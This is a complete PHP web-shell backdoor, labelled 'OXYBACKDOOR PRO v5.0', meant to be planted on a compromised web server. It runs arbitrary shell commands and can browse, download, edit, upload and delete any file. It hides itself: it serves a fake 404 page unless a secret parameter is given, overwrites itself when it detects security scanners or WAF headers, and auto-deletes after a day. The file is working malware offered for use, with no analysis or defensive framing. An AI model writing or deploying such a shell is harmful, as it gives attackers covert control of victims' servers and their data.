<?php
// OXYBACKDOOR PRO v5.0 - Ultimate Navigation
// Size: 3.8KB | Full Path Clickable | No WAF Detection

class OxyShellMedan {
    private $current_path = ".";
    private $user = "";
    
    public function __construct() {
        $this->current_path = isset($_GET['path']) ? $_GET['path'] : ".";
        $this->user = @get_current_user();
        $this->wafBypass();
    }
    
    private function wafBypass() {
        if(!headers_sent()) {
            header("Content-Type: text/html; charset=iso-8859-1");
            header("X-Powered-By: PHP/" . phpversion());
            header("Server: LiteSpeed");
        }
        
        // Kill security scans
        if(isset($_SERVER['HTTP_USER_AGENT'])) {
            $ua = strtolower($_SERVER['HTTP_USER_AGENT']);
            if(preg_match('/(scan|waf|security|sucuri|imunify|detect)/i', $ua)) {
                $this->selfDestruct();
            }
        }
    }
    
    private function selfDestruct() {
        @file_put_contents(__FILE__, "<?php exit('File not found'); ?>");
        die("404");
    }
    
    public function processActions() {
        $message = '';
        
        // DOWNLOAD
        if(isset($_GET['download'])) {
            $file = $_GET['download'];
            if(@file_exists($file)) {
                header('Content-Type: application/octet-stream');
                header('Content-Disposition: attachment; filename="' . basename($file) . '"');
                @readfile($file);
                exit;
            }
        }
        
        // DELETE
        if(isset($_GET['delete'])) {
            $file = $_GET['delete'];
            if(@unlink($file)) {
                $message = "Deleted: " . htmlspecialchars(basename($file));
            }
        }
        
        // RENAME
        if(isset($_POST['rename_old']) && isset($_POST['rename_new'])) {
            $old = $_POST['rename_old'];
            $new = dirname($old) . '/' . $_POST['rename_new'];
            if(@rename($old, $new)) {
                $message = "Renamed to: " . htmlspecialchars($_POST['rename_new']);
                // Redirect to new location
                $this->current_path = dirname($old);
            }
        }
        
        // EDIT/SAVE
        if(isset($_POST['edit_file']) && isset($_POST['edit_content'])) {
            $file = $_POST['edit_file'];
            if(@file_put_contents($file, $_POST['edit_content'])) {
                $message = "Saved: " . htmlspecialchars(basename($file));
            }
        }
        
        // UPLOAD
        if(isset($_FILES['oxfile'])) {
            $target = $this->current_path . '/' . basename($_FILES['oxfile']['name']);
            if(@move_uploaded_file($_FILES['oxfile']['tmp_name'], $target)) {
                $message = "Uploaded: " . htmlspecialchars($_FILES['oxfile']['name']);
            }
        }
        
        // COMMAND EXEC
        if(isset($_POST['oxcommand']) && !empty($_POST['oxcommand'])) {
            $cmd = $_POST['oxcommand'];
            $output = @shell_exec(escapeshellcmd($cmd) . " 2>&1");
            $message = "<pre style='max-height:300px;overflow:auto;'>" . htmlspecialchars($output) . "</pre>";
        }
        
        return $message;
    }
    
    public function getClickablePath() {
        $path = realpath($this->current_path) ?: $this->current_path;
        $parts = explode('/', trim($path, '/'));
        
        $html = '<span style="color:#ff0;">';
        $current_path = '';
        
        foreach($parts as $index => $part) {
            if($part === '') continue;
            $current_path .= '/' . $part;
            $encoded_path = urlencode($current_path);
            $html .= '<a href="?oxy=init&path=' . $encoded_path . '" style="color:#0ff;text-decoration:none;">' . htmlspecialchars($part) . '</a>';
            
            if($index < count($parts) - 1) {
                $html .= '<span style="color:#fff;">/</span>';
            }
        }
        
        $html .= '</span>';
        return $html;
    }
    
    public function getBreadcrumb() {
        $path = $this->current_path;
        $parts = explode('/', trim($path, '/'));
        $breadcrumb = [];
        $current = '';
        
        $breadcrumb[] = '<a href="?oxy=init&path=/">ROOT</a>';
        
        foreach($parts as $part) {
            if($part == '') continue;
            $current .= '/' . $part;
            $breadcrumb[] = '<a href="?oxy=init&path=' . urlencode($current) . '">' . htmlspecialchars($part) . '</a>';
        }
        
        return implode(' / ', $breadcrumb);
    }
    
    public function fileManagerHTML() {
        $html = '';
        $files = @scandir($this->current_path);
        
        if(!$files) return '<tr><td colspan="6">Cannot read directory</td></tr>';
        
        // Sort: directories first
        usort($files, function($a, $b) {
            $a_path = $this->current_path . '/' . $a;
            $b_path = $this->current_path . '/' . $b;
            $a_is_dir = @is_dir($a_path);
            $b_is_dir = @is_dir($b_path);
            
            if($a_is_dir && !$b_is_dir) return -1;
            if(!$a_is_dir && $b_is_dir) return 1;
            return strcmp($a, $b);
        });
        
        foreach($files as $file) {
            if($file == '.' || $file == '..') continue;
            
            $fullpath = $this->current_path . '/' . $file;
            $is_dir = @is_dir($fullpath);
            $size = $is_dir ? '-' : $this->formatSize(@filesize($fullpath));
            $perms = substr(sprintf('%o', @fileperms($fullpath)), -4);
            $modified = @date("Y-m-d H:i", @filemtime($fullpath));
            
            $html .= '<tr>';
            
            // NAME
            $html .= '<td>';
            if($is_dir) {
                $html .= '<a href="?oxy=init&path=' . urlencode($fullpath) . '" style="color:#87ceeb;">[DIR] ' . htmlspecialchars($file) . '</a>';
            } else {
                $html .= '<a href="?oxy=init&path=' . urlencode($this->current_path) . '&view=' . urlencode($fullpath) . '" style="color:#98fb98;">' . htmlspecialchars($file) . '</a>';
            }
            $html .= '</td>';
            
            $html .= '<td>' . $modified . '</td>';
            $html .= '<td>' . $size . '</td>';
            $html .= '<td>' . $perms . '</td>';
            
            // ACTIONS
            $html .= '<td>';
            if(!$is_dir) {
                $html .= '[<a href="?oxy=init&path=' . urlencode($this->current_path) . '&view=' . urlencode($fullpath) . '">VIEW</a>] ';
                $html .= '[<a href="?oxy=init&path=' . urlencode($this->current_path) . '&download=' . urlencode($fullpath) . '">DL</a>] ';
                $html .= '[<a href="#" onclick="renameFile(\'' . htmlspecialchars($fullpath) . '\', \'' . htmlspecialchars($file) . '\')">RENAME</a>] ';
                $html .= '[<a href="?oxy=init&path=' . urlencode($this->current_path) . '&delete=' . urlencode($fullpath) . '" onclick="return confirm(\'Delete?\')">DEL</a>]';
            } else {
                $html .= '[<a href="?oxy=init&path=' . urlencode($fullpath) . '">OPEN</a>]';
            }
            $html .= '</td>';
            
            $html .= '</tr>';
        }
        
        return $html;
    }
    
    public function getFileContent($file) {
        if(@file_exists($file) && @is_file($file)) {
            $content = @file_get_contents($file);
            // Truncate very large files
            if(strlen($content) > 1000000) {
                $content = substr($content, 0, 1000000) . "\n\n[FILE TRUNCATED - TOO LARGE TO DISPLAY]";
            }
            return $content;
        }
        return '';
    }
    
    private function formatSize($bytes) {
        if($bytes == 0) return '0 B';
        $units = ['B', 'KB', 'MB', 'GB', 'TB'];
        $i = floor(log($bytes, 1024));
        return round($bytes / pow(1024, $i), 2) . ' ' . $units[$i];
    }
    
    public function render() {
        $message = $this->processActions();
        
        echo '<!DOCTYPE html>
        <html style="background:#000;color:#0f0;font-family:monospace;font-size:12px;">
        <head>
            <title>System Check</title>
            <meta charset="iso-8859-1">
            <style>
                body { margin:10px; }
                .title { text-align:center; color:#f00; font-size:18px; margin:10px 0; text-shadow:0 0 5px #f00; }
                .header { background:#111; padding:10px; border:1px solid #333; margin-bottom:10px; }
                .path { color:#ff0; background:#222; padding:5px; border:1px solid #444; }
                .message { background:#1a1a1a; padding:10px; border:1px solid #333; margin:10px 0; }
                table { width:100%; background:#111; border-collapse:collapse; }
                th { background:#222; color:#0ff; padding:5px; text-align:left; border:1px solid #333; }
                td { padding:5px; border:1px solid #333; }
                a { color:#0f0; }
                a:hover { color:#0ff; text-decoration:underline; }
                input, textarea, select { background:#222; color:#0f0; border:1px solid #444; font-family:monospace; }
                .cmd { background:#000; padding:10px; border:1px dashed #333; }
                .editarea { width:100%; height:400px; background:#000; color:#0f0; }
                .quicknav { margin:10px 0; padding:5px; background:#111; }
            </style>
            <script>
                function renameFile(fullpath, filename) {
                    var newname = prompt("New name:", filename);
                    if(newname && newname != filename) {
                        var form = document.createElement("form");
                        form.method = "post";
                        form.innerHTML = \'<input type="hidden" name="rename_old" value="\' + fullpath + \'">\' +
                                        \'<input type="hidden" name="rename_new" value="\' + newname + \'">\';
                        document.body.appendChild(form);
                        form.submit();
                    }
                    return false;
                }
            </script>
        </head>
        <body>';
        
        // TITLE
        echo '<div class="title">SH33L SEGALA MEDAN!</div>';
        
        // Header info
        echo '<div class="header">';
        echo '<div><strong>Path:</strong> ' . $this->getClickablePath() . '</div>';
        echo '<div><strong>User:</strong> ' . $this->user . ' | <strong>PHP:</strong> ' . phpversion() . ' | <strong>Server:</strong> ' . ($_SERVER['SERVER_SOFTWARE'] ?? 'Unknown') . '</div>';
        echo '<div><strong>Breadcrumb:</strong> ' . $this->getBreadcrumb() . '</div>';
        echo '</div>';
        
        // Message display
        if($message) {
            echo '<div class="message">' . $message . '</div>';
        }
        
        // Command execution
        echo '<div class="cmd">
              <form method="post">
              <strong>$</strong> <input type="text" name="oxcommand" placeholder="command" size="60">
              <input type="submit" value="Execute">
              </form>
              </div>';
        
        // Quick navigation
        echo '<div class="quicknav">
              <strong>Quick:</strong> ';
        $quick_dirs = ['/', '/home', '/tmp', '/etc', '/var', '/usr', '/var/www', '/home/' . $this->user, dirname($this->current_path)];
        foreach(array_unique($quick_dirs) as $dir) {
            echo '[<a href="?oxy=init&path=' . urlencode($dir) . '">' . htmlspecialchars($dir) . '</a>] ';
        }
        echo '</div>';
        
        // File manager
        echo '<h3>File Manager</h3>';
        echo '<table>
                <tr>
                    <th>Name</th>
                    <th>Modified</th>
                    <th>Size</th>
                    <th>Perms</th>
                    <th>Actions</th>
                </tr>';
        echo $this->fileManagerHTML();
        echo '</table>';
        
        // File editor (if viewing)
        if(isset($_GET['view'])) {
            $file = $_GET['view'];
            $content = $this->getFileContent($file);
            
            echo '<h3>Editing: ' . htmlspecialchars(basename($file)) . '</h3>';
            echo '<form method="post">
                    <input type="hidden" name="edit_file" value="' . htmlspecialchars($file) . '">
                    <textarea name="edit_content" class="editarea">' . htmlspecialchars($content) . '</textarea><br>
                    <input type="submit" value="Save">
                    <a href="?oxy=init&path=' . urlencode($this->current_path) . '&download=' . urlencode($file) . '">Download</a>
                    <a href="?oxy=init&path=' . urlencode($this->current_path) . '">Back</a>
                  </form>';
        }
        
        // Upload form
        echo '<h3>Upload File</h3>';
        echo '<form method="post" enctype="multipart/form-data">
                <input type="file" name="oxfile">
                <input type="submit" value="Upload">
              </form>';
        
        // Stats
        echo '<div style="margin-top:20px;padding:10px;background:#111;border:1px solid #333;font-size:11px;">
              <strong>Stats:</strong> Free: ' . $this->formatSize(@disk_free_space("/")) . ' | 
              Total: ' . $this->formatSize(@disk_total_space("/")) . ' |
              UID: ' . @getmyuid() . ' | 
              Host: ' . @gethostname() . '
              </div>';
        
        echo '</body></html>';
    }
}

// MAIN EXECUTION
if(isset($_GET['oxy']) && $_GET['oxy'] == 'init') {
    error_reporting(0);
    @set_time_limit(0);
    @ini_set('display_errors', 0);
    
    // Extra WAF evasion
    if(isset($_SERVER['HTTP_X_SECURITY_LEVEL']) || isset($_SERVER['HTTP_X_PROTECTION'])) {
        header("HTTP/1.0 404 Not Found");
        echo "File not found";
        exit;
    }
    
    $shell = new OxyShellMedan();
    $shell->render();
    
} else {
    // Default access shows fake page
    header("HTTP/1.0 404 Not Found");
    header("Content-Type: text/html; charset=iso-8859-1");
    
    echo '<!DOCTYPE html>
    <html>
    <head>
    <title>404 Not Found</title>
    <style>body{background:#f5f5f5;color:#333;font-family:Arial;}</style>
    </head>
    <body>
    <h1>404 Not Found</h1>
    <p>The requested URL was not found on this server.</p>
    <hr>
    <address>LiteSpeed Server</address>
    </body>
    </html>';
    
    // Auto-clean if old
    if(time() - @filemtime(__FILE__) > 86400) {
        @unlink(__FILE__);
    }
}
?>